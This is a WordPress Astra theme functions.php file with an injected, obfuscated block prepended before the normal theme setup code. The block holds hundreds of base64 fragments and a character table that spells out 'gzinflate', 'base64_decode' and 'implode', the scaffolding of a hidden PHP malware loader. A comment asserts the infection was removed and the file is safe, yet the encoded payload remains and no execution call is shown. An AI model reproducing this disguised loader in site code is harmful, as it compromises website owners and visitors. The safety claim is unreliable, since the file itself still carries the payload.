/*aa9c80d783270053c16ccf49340f6647*/ $is_admin_pw = array ('zRxrc9tG7rt','/xVrjHsk7yZ','LbptNatjKOr','SS+cWxXlq+X','sTMcSlxZbCi','S5ZKx3Sb97Q','fsg9wlqUecZ','OY8eUhLAAtg','sVgAC3pra5Z','H0yyII+L5vn','s/pyl1p3HkB','zhm7/ABh/y1','ReDnLownXkh','27hN/0iY7Oa','PpFc2yILpjR','2na3+JAO4HP','yCHx0tR7dN/','TR2ZXAZ1+AX','gcLxbeFU281','MuoD2jBIglj','n9pWm8AfBHE','k3WBG7O2AuQ','yohNR2yD/+Q','eCr5y+CyHYU','i/iDgsyCMKO','pbX0I6D1zKY','jTSWKWIdlZ8','ODiZxAzjzJm','SXbwJ6VZnkZ','ESE12SYscnZ','+Qv7jAnQEis','U+7HNfLs3mc','kvOLMTk9J3Z','dFqclyH4S3B','uU+1swWuid0','6MP0zAHuXf+','yGn6iNIYGv9','SVUvyV1kKDw','BlEfvB7PG3N','AAlMTFq15Qt','eOkMKkrfbta','6gmY0sy2hHl','xBY2ZH6USX/','z6BlQCr+53Z','NblRN0stbQZ','Y3nROalITj6','FuyOGA7DA5r','LOK0tkc4FBM','IdZWLioX0g4','YClKg31i/M+','ud4xQc6rTmg','U//fcXiPJ3S','EsXQjvqZAMv','v+8bwJ+Mbnc','5jUpnWhK+Q+','NSg0iUMSX6Q','5Zp4UcwFRNl','ro6CnQ7Kni9','PtTnOWxQtQ+','gmd5He2NQ1j','b/oerStgJI6','29W1VQke+AN','ceIjfi8fGcT','t9fUbumOLl5','sjSndbk1gJk','Xssrmqmx2e4','c7hKpDm+ZpS','qPMRTtqo39z','uTGrbZY9JrT','YaHbpZ/hXi2','VeljMLre38+','uzMaa8AsJJ8','EgZsbq2G8lN','vlq2BSUCZoO','41UFnqrZ0Nt','jJVIHJhyq0l','ZMcNhZ8M8xc','7vq4X/LG40h','FFcsudbwOIx','gif4Uax9q4A','Vk6Jz5lSloc','ZTBrRe/Lbpf','sr8qDcpgaIZ','lUhiNudr1DF','vBA0Semdu/C','y6dy2/r4d3N','r2Ta/zS/vdv','5xb5/bgb/Rk','3HJuLC8MrXf','wlQPT5l1uwA','KvLEvdlCahh','9tRIt70gIo1','sC04Z6RUncE','MrNTnBstg2H','IOqhM7y3zHJ','0LB+JdILZcY','F89A3wEl/io','XcUeafOPzG+','nRXTeIuERiy','Y2N0xmcnugr','sGq5FN0q/Oc','tBZdq07UQwF','9rMQS1J65G4','QS+yBAVlU0V','UMB/LR0UBJ+','oBunlvkgJgs','amKpDQX0sBk','txTrUA58C+z','AkllYytQ8F/','NChTBJ6pBnl','BfpARBY1MVS','OivpQBJbrn4','9UBFoFYjFcx','YXPXdjbwFdX','/sPXsGXpbHL','m1xQMJ/CU0X','xUlc6JVHaeK','gNeLyOPRl9I','NeXnyCgFds3','pJp+cSF1ADg','uKgCzRXRmS2','mrSEUpABrWy','fy3Jh6X5+g3','6AS8bSeGjVy','8f+QkEqlS5W','rQRUTta6GZ8','PjMdGCnDY5v','rg+H9vkn8Qh','R1ckyhfSpF6','OLt5U0kzy2+','vhaEiKMApIf','sdaWnpmQYTm','e5MQA6xDYRM','yJUbp3DC+u6','O+q7K0ctUKi','m48+Z1O8Wy+','o5lbHRY2VY2','otvUD3516kV','2j1xlMvaQzQ','O7cJA0+gB6F','lLU9KXW1e0i','U5Ckqntq1nS','vycFvTJdlGx','QvyFrkYEZvo','eTkoy+c4Ooq','O4TitNpfbEC','jwbceY3GnON','0rOW+Us60sC','5NXo4vqSvHi','rsyXrBNLVIJ','c2N1VHKgWZl','M/sip4EG9Iv','OG1yNBodvXW','PnFp+rGjzMH','6RoMlX0mE5f','GME5e+kS1kS','rqidq1ALe9Y','z1qb0FCJZuZ','0FPOhdbspTv','2lrL9tbpyeN','O0dUb0xzkNT','VBtpM21K9Fb','Xq/sSu5UurV','Y24N3jyFEo7','PVHaMt0hAJq','+UCpsFuZs7q','Z5SBvKJRW/J','lLZlN5jnaeQ','HFHlpo8TXuW','zJIggazkb1V','fAk/KkzatIC','Ic2fQD68NzG','h3DcA+mFl6i','qAj8qTa8iqx','F8+htB4Z1DP','n40zK3yHDzA','IZG7d+lEdZ9','TKgROdV2Xq0','1WknYfFqFEE','NxsWqmDhEcp','vjCcpytZq+A','sE7wqt2LgZt','W6oGWuU2ldT','4bdFoL+S5pa','kxVfCaovKfX','tDTX4NGOcwQ','znEEhVYj0ri','Hz6sJvMk+cI','cYiHO/xda01','9s8aM7BdTAI','macC9BbKux6','NkIynXR7QZR','4PIq6oIu4vT','RDYNFwCvX3z','/76c0LRW8OB','yxWuI/jKAOm','O2M4A/YJRq3','IEdbwcZifzL','DBGevMsywBH','w7ha59M514K','UxwiuO4IJhA','2uPKhBScKlt','xgvm73c2d74','kQomDh8XDnj','971e4XhxCFd','SaO01fFPbdk','eOXfGSJ/pXD','rtLWrdR4fPF','EQAPZ7D81/z','Li8cRBS/Psu','s0KLbkTnEo4','W5ddVbJySGq','iMGj4NFk9Xa','fWXIYxIvu6C','ylf+CDe0rfh','4/qWeixTETa','PoQGtvW2s+j','4DZ63ZAXNnJ','9pgW+YeJ6GK','oSDENALg+i9','XQBq0bqpIQh','dAPFFGE8BGj','61C5baOuPtU','jiNFlbsgT3q','+jSkwL2ari1','iYVaa/Fbz1L','AqB12YFRZ/o','JZHFr510H6T','CxbLLjUgvc7','BwcHVeLR18B','zcM/lAUwbwh','6293V6L0Gga','Y3562Loev+z','83Ho+2DoQM0','txACVihy3cH','fvd7v39/a7a','+LtxetdlIOf','CY1052O3t/t','LSMfcfWGBg3','//A8cBu97r/','fXN2xfE7QQR','mHU1pgcuCfU','H6LJ56Gef3M','1gwfPtn4KnP','uw/Mbw2E4rd','AdaamP9cylA','c3VwMGUNMDy','esBUBwgwYMu','fipGBe2BmgS','eyhEFUc450O','Y/6GrjClRxN','Ch4O+gWY5wh','tLrBbXQb1aV','uvBO7F1+1ME','4besM38LLzv','IQT91GgeGPj','GnR4UGh1eNE','BIRtCwjITxU','TUwHaaDtmXv','KDA1FFZ7Jni','escMAhf+M5v','NvT17x70ajv','4zHN1Yr8fjS','/f1xdWYR1LG','1WDTtZrkM8r','DsOnuM4/AaQ','bgoP6k9sRj9','KcfwX9MUSLt','yqxaE2l21N8','gZKgEsMmaCB','ZPt4+WsQ13l','4UYG0YXSHLH','qsbGWhGs9bf','k7W/IXctVGg','1/vR5ejd3r0','WlD4KfiMhBm','dYQbsGNuNpf','gwe1qFlZPLN','DRq/NSZFn8m','HJBuI2KLTyE','jVx5j1C7hG3','XqDoNplbeCK','67B0whlPpA3','8bgW97QzPvG','AmobBclAJkO','2kzSGAzp7dO','lDwDC7FHfb6','qq8QTxjE32Z','vvSWiHswuth','N40kMJzUw4L','piOperzaoGu','QbWXRzfhRQw','GxFJt0u4isn','V8ILs/bj7QC','D5hoyApitoT','kBvT6VomjB4','sxGsc0ZPE9u','oj8pcyXRs/3','VfXox+OxqdD','E/wU2XvqH2z','Bke3vqUzHb9','0jy/Oz4fH49','PzV+7p5UZT1','ZHWzTUavrkY','D92jk5O1whi','gTc66YQtVLu','mVfneCRBwkp','eq1DQAuEf7Y','AMTrp6aZwyg','eQuDRjBJroo','etnDoC3vRMR','ndSPP4Zz1hF','c8Fpwmxz8wm','QBk1I8TRyWg','VH0MUzgn+sJ','t6aHk6jq3wS','4SKgfBK86oF','rvRIMQpIom2','ES5E3fQ3rHs','o8fv2P6X6EH','RbJCrlodbVd','N5xq+uUevhu','djfidiPjw6P','h5ejt2zo/NX','1wBjprVruy2','2Vkt0P4djjW','wo0TeTZJ0Nn','7IRBR8yDhYQ','e2TwL8Tmi0S','tGyTg2B+E42','DlHaJDDMhPP','fJP8c/3P+oN','NWvgNzi8lms','VCQLh7xjkyY','o2/26JAdtp6','7NuqIVinh1I','QT3DX9o7H7w','wp5UqIaR9Pi','K4CI87WXbgi','SOJY5jbmw/x','yLYQxTCIgve','miBOGOV+lDe','YJ5spL2GnL6','dpC4FpTn7HZ','11CSEvHpS3p','NGiz6mQpvuI','HiKg2Nhv4wV','LD5hVcxckD2','er0V4YFWBbB','UKph0hIidqR','/tTuNFl6XTb','u6F8R2jUwxK','La0QnsQQmQM','2L42iD+eVDp','n8NfX2LChEG','r5o7LnExao0','9uC6xnnGAfZ','6lYeT2H/kTx','ooc4A5Xqfx0','LzRLOoIXLdc','tYh19yfIC1E','zY/bvLI5cXg','CghX22yS/lF','Y+zpfcXiTPV','BTXQNI1Tu9D','NcuXzm+3K+Q','CZ46LEvRECQ','3jP71JYPp1S','Xh4zD4mNLNK','pG/en5bVFcR','5utK1lgYu7Z','rmxtxtcpdjP','VuFplkQZEky','co0V4UVVVvY','WQu7kslrogE','l8PBhqN9Q5L','pWj4TBZB7rC','CGEy53QeJIN','PFyHU3e8isS','uvh+gVvZpZj','kIIhNY/VeJh','W14sLg3ZhCA','KwaUA/UBefa','MzoClAxD08L','WRIGGaSF9m1','6G328jRxMDI','X5IQkwl85em','1yOhq/cq8uz','07F7fuEO31y','O3zZcwCg3JE','Om9QoIIljnw','DdXi0RxRrxI','2Ot6XVSOiqK','YomyHewHxuU','00u8NxcXisP','B4Msy4PCK3W','vN5sm8IHiPj','G8YsAk7gAPp','eFFVwP0TaAp','QCxPAJEln0h','1/HSRx7TWlb','16rBAx9ATa+','PGYVqg7grqi','efbPp3CsB2n','vi0QYMl/Bk3','1QNqr8ci9PD','pxz4Yvx07TD','aMiuDTKr0S3','08BPdWm5FCi','cm2T4qkARt+','tSNmgsUdaHY','SK2Ama8b4e9','n8BzR88HupY','2bV9dpGXmtD','XtCoj6xAJQ8','e4iBZwRFyuf','8CRF8d0mPZ2','lcuZmBC5BBa','NszdGnwivLg','o7ZT83L39Y5','bJ8gQvoAZfV','XpS1Vf9oQVe','rrOslnM5riz','X5a9NIoDsTc','B9udjoAiHEq','qsNPZHmBZ8v','L1pTu8OOvrs','YteMarfT/K3','BvLQS20R1sD','ILI0jWDjvjo','oxGJrHfB9XH','U7Jk2TGC8MJ','pEuruFI/8UT','IabcUlpS4te','bklEqCsK6qI','iCJo/zG2K4G','g+YkYBacTLX','EhIKeBdF7Vq','9UyrWT08v2j','oJcEyJYm5yl','3yTB55EwY4Q','m2BtrHvg+jf','Daz3p3U3b7l','y8HlDFDYx9/','9fiIYiKKSWQ','Sw/a5DyCkzD','MiivqMyPvCs','qbQ4LAF90Vg','L5uy6EPGLy9','gm+Jnd4JfVi','pCbXAd1fPFG','1BeCKb0GK7V','ZIGLe7/c/M2','6hPCaE0dNzm','IQMG16x6KqM','QFJCuSlGim3','Bd4mFJxVy0c','bMIeXqJuwJu','5qV7JWKtfgz','lxD3ZI3Xbym','V4aUm5/I1bS','s/tpFKRhkx5','h+ofhxFD6+B','uBL8FdNapBu','brlTq/i0mto','AiiAe3j3Rar','hUcK8H64ji4','h0vU9FNz6o7','tbLhdmNZ93o','nAS4FjbJx8V','QXeoMbZ/kGg','AI0+3d9bNjF','SybEd7RWXS2','83UxifklWdu','vqBCDB1asNj','UKVGidivihf','8GoKKcRRxRW','jJ5jz3V+2B3','Bqp/8F6v+W+','nfhhNp0Dfzg','TgQ5ekc0/ME','u056DXb3a8N','47bOw14XZhu','5krBGBPW2TB','y8oF/tIVFlN','849Wd5WG4yf','IWQV1DRX5bK','u45qndfqtE8','/J9+aGmFTLp','IMsgDy2cNKb','7KXdYeJpWog','TW+TLjMTzTe','Q7el5Oe52Yv','O2Ej218FH3q','JXhHB1MN4IL','zFuCnpgqe/q','B5eEE5bddK6','awwp8r7GrUz','uMjQiyynKlo','6L5xcMDP/hA','+EIfttTRu+9','NWBzmGe3LFw','r2vTCZe3ace','NMgezzsOX35','cb+32+v90P+','zwy+q93/utw','Z4AXPQBaqDh','jcG18wW0lm2','33nW6/WShy8','klcXJPunA1v','7ucwhlkLgzS','KYX+4RBRE7t','nvMZ2PEHms7','C+H6fCJPtF8','HMPik5m9Pgb','p7tk16S9SFk','9bO5+Lz5PH4','AWb73uB/FEe','2vxmKJF32D5','UWyT5mvcYGf','SqxhiTcitWK','RDfxKVqQdL6','rhovCN1U4Wr','R6j+mQ+oxO3','cIMrWjGqgCv','faS66i0CeWh','/L4bJWHwh3Z','XAqy3rVHgXF','m34dL3oNxa+','AwBPUR8U2/F','aI4gYDn3lTc','YKDE3fVeyS8','rUD/tQYqRNU','RsOoa/ZHTnL','psmgaJwCp/G','YAxS9kxIN8G','KqZZ+toUPNz','rtckPTWSMfn','ehIqRVa/Jew','jckv77QTr0p','vwkliET/bq3','ptwkYHoKH4O','VgP0jplGNW2','lessiW24dgF','s1hl8KvaVeT','h35hoGUFoww','v9RouHpi2eR','IIMDRWoarOJ','hiXz4hKvLMo','YHdX/Aw=='); $is_admin_ja = array ('g','6','n','g','i','b','y','s','f','e','m','z','l','e','o','e','d','v','d','t','r','p','d','o','m','q','e','w','c','p','a','a','a','l','4','c','b','g','i','g','m','g','z','n','s','t','e','e','f','o','_','m','g','t','d','n','l','x','a'); $is_admin_ba = $is_admin_ja[41].$is_admin_ja[42].$is_admin_ja[4].$is_admin_ja[43].$is_admin_ja[8].$is_admin_ja[12].$is_admin_ja[58].$is_admin_ja[19].$is_admin_ja[46]; $is_admin_dc = $is_admin_ja[5].$is_admin_ja[31].$is_admin_ja[44].$is_admin_ja[13].$is_admin_ja[1].$is_admin_ja[34].$is_admin_ja[50].$is_admin_ja[18].$is_admin_ja[26].$is_admin_ja[35].$is_admin_ja[23].$is_admin_ja[54].$is_admin_ja[47]; $is_admin_sk = $is_admin_ja[38].$is_admin_ja[40].$is_admin_ja[21].$is_admin_ja[33].$is_admin_ja[14].$is_admin_ja[22].$is_admin_ja[9]; /*gmp_and*/ /*imap_get_quotaroot */ /*numfmt_get_locale */ /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ /*aa9c80d783270053c16ccf49340f6647*/ /** * Astra functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Define Constants */ define( 'ASTRA_THEME_VERSION', '4.9.0' ); define( 'ASTRA_THEME_SETTINGS', 'astra-settings' ); define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) ); define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) ); define( 'ASTRA_THEME_ORG_VERSION', file_exists( ASTRA_THEME_DIR . 'inc/w-org-version.php' ) ); /** * Minimum Version requirement of the Astra Pro addon. * This constant will be used to display the notice asking user to update the Astra addon to the version defined below. */ define( 'ASTRA_EXT_MIN_VER', '4.9.0' ); /** * Load in-house compatibility. */ if ( ASTRA_THEME_ORG_VERSION ) { require_once ASTRA_THEME_DIR . 'inc/w-org-version.php'; } /** * Setup helper functions of Astra. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php'; require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php'; define( 'ASTRA_WEBSITE_BASE_URL', 'https://wpastra.com' ); /** * ToDo: Deprecate constants in future versions as they are no longer used in the codebase. */ define( 'ASTRA_PRO_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'dashboard', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' ); define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'customizer', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' ); /** * Update theme */ require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php'; require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php'; /** * Fonts Files */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php'; if ( is_admin() ) { require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php'; } require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/docs/class-astra-docs-loader.php'; require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/dark-mode.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php'; // Enable NPS Survey only if the starter templates version is < 4.3.7 or > 4.4.4 to prevent fatal error. if ( ! defined( 'ASTRA_SITES_VER' ) || version_compare( ASTRA_SITES_VER, '4.3.7', '<' ) || version_compare( ASTRA_SITES_VER, '4.4.4', '>' ) ) { // NPS Survey Integration require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-notice.php'; require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-survey.php'; } /** * UTM Analytics lib file. */ require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-utm-analytics.php'; /** * Custom template tags for this theme. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php'; require_once ASTRA_THEME_DIR . 'inc/template-tags.php'; require_once ASTRA_THEME_DIR . 'inc/widgets.php'; require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/admin-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php'; /** * Markup Functions */ require_once ASTRA_THEME_DIR . 'inc/markup-extras.php'; require_once ASTRA_THEME_DIR . 'inc/extras.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog.php'; require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php'; /** * Markup Files */ require_once ASTRA_THEME_DIR . 'inc/template-parts.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php'; /** * Functions and definitions. */ require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php'; // Required files. require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php'; require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php'; /* Setup API */ require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php'; if ( is_admin() ) { /** * Admin Menu Settings */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php'; require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php'; } /** * Metabox additions. */ require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php'; require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php'; /** * Customizer additions. */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php'; /** * Astra Modules. */ require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php'; require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php'; /** * Compatibility */ require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/surecart/class-astra-surecart.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php'; require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php'; require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php'; require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php'; require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php'; require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php'; // Elementor Compatibility requires PHP 5.4 for namespaces. if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php'; } // Beaver Themer compatibility requires PHP 5.3 for anonymous functions. if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php'; } require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php'; /** * Load deprecated functions */ require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php';